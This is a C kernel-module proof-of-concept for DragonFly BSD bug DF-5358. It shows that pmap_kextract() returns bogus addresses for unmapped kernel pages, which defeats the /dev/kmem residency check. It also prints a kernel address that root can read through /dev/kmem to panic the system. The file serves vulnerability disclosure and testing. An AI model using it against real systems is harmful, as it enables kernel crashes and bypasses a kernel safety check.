DF-5358 / pmxtest.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * pmxtest.c - DF-5358 proof module (DragonFly pc64) * * Proves pc64 pmap_kextract() (sys/platform/pc64/x86_64/pmap.c:1865) performs * NO validity check of its own, on either paging level: * * [1] CONTROL: pmap_kextract() on a mapped kernel VA -> sane physical addr. * * [2] PT-present / PTE==0: allocate a kernel page with kmem_alloc3(), * tear its PTE down with pmap_kremove() (the PT page survives: kernel * page-table pages are never freed), then call pmap_kextract() on the * now-unmapped VA. A correct implementation returns 0. This kernel * returns a non-zero bogus physical address, which is exactly the value * kvm_access_check() (sys/platform/pc64/x86_64/vm_machdep.c:1285) * compares against 0 to decide "/dev/kmem pages are resident" -> the * gate passes vacuously (pc64 twin of DF-5245/DF-5290). * * [3] ABSENT-LEVEL PROBE (safe: reads the page tables through the DMAP, * never through the recursive map): finds a KVA inside [KvaStart,KvaEnd) * whose PML4 or PDPT entry is 0 and prints it. Userland feeds that KVA * to pread() on /dev/kmem: kvm_access_check()->pmap_kextract()-> * *vtopt(va) dereferences the recursive-map address of the PDE slot, * which is itself unmapped -> unrecoverable kernel data page fault -> * panic. (Root-gated: /dev/kmem open requires SYSCAP_RESTRICTEDROOT.) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <vm/vm.h> #include <vm/vm_kern.h> #include <vm/vm_extern.h> #include <vm/pmap.h> static int dummy_var; #define KVBASE 0xFFFF800000000000ULL static void pmxtest_run(void) { vm_offset_t va; vm_paddr_t pa; uint64_t *pml4, *pdpt; int slot, i; kprintf("pmxtest: KvaStart=%016jx KvaEnd=%016jx KvaSize=%016jx\n", (uintmax_t)KvaStart, (uintmax_t)KvaEnd, (uintmax_t)KvaSize); /* [1] control */ pa = pmap_kextract((vm_offset_t)&dummy_var); kprintf("pmxtest[1]: CONTROL pmap_kextract(&dummy=%p) = %016jx (mapped, sane)\n", (void *)&dummy_var, (uintmax_t)pa); /* [2] PT present, PTE == 0 */ va = kmem_alloc3(kernel_map, PAGE_SIZE, VM_SUBSYS_KMALLOC, 0); if (va == 0) { kprintf("pmxtest[2]: kmem_alloc3 failed\n"); return; } pa = pmap_kextract(va); kprintf("pmxtest[2]: va=%016jx while-mapped pa=%016jx\n", (uintmax_t)va, (uintmax_t)pa); pmap_kremove(va); /* PTE := 0, PT page survives */ kprintf("pmxtest[2]: PT-present/PTE-0: aligned pmap_kextract(va) = %016jx\n", (uintmax_t)pmap_kextract(va)); kprintf("pmxtest[2]: PT-present/PTE-0: unaligned pmap_kextract(va+0x30) = %016jx <-- non-zero garbage (no PG_V check; aligned queries luck out: va&PAGE_MASK==0)\n", (uintmax_t)pmap_kextract(va + 0x30)); pmap_kenter(va, pa); /* restore, then free */ kmem_free(kernel_map, va, PAGE_SIZE); kprintf("pmxtest[2]: restored + freed\n"); /* [3] safe probe for an absent upper level (KVA >= KvaStart only) */ kprintf("pmxtest[3]: kernel_vm_end=%016jx\n", (uintmax_t)kernel_vm_end); pml4 = kernel_pmap->pm_pml4; for (slot = KPML4I; slot < KPML4I + NKPML4E; slot++) { if ((pml4[slot] & 0x01) == 0) { kprintf("pmxtest[3]: PML4[%d] ABSENT (%016jx)" " -> /dev/kmem test KVA %016jx\n", slot, (uintmax_t)pml4[slot], (uintmax_t)(KVBASE | ((uint64_t)slot << 39))); return; } pdpt = (uint64_t *)PHYS_TO_DMAP(pml4[slot] & PG_FRAME); for (i = 0; i < 512; i++) { va = KVBASE | ((uint64_t)slot << 39) | ((uint64_t)i << 30); if (va < KvaStart) continue; if ((pdpt[i] & 0x01) == 0) { kprintf("pmxtest[3]: PML4[%d] present," " PDPT[%d] ABSENT (%016jx)" " -> /dev/kmem test KVA %016jx\n", slot, i, (uintmax_t)pdpt[i], (uintmax_t)va); return; } } } kprintf("pmxtest[3]: no absent upper level found (unexpected)\n"); } static int pmxtest_handler(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: pmxtest_run(); break; default: break; } return (0); } static moduledata_t pmxtest_mod = { "pmxtest", pmxtest_handler, NULL }; DECLARE_MODULE(pmxtest, pmxtest_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(pmxtest, 1); |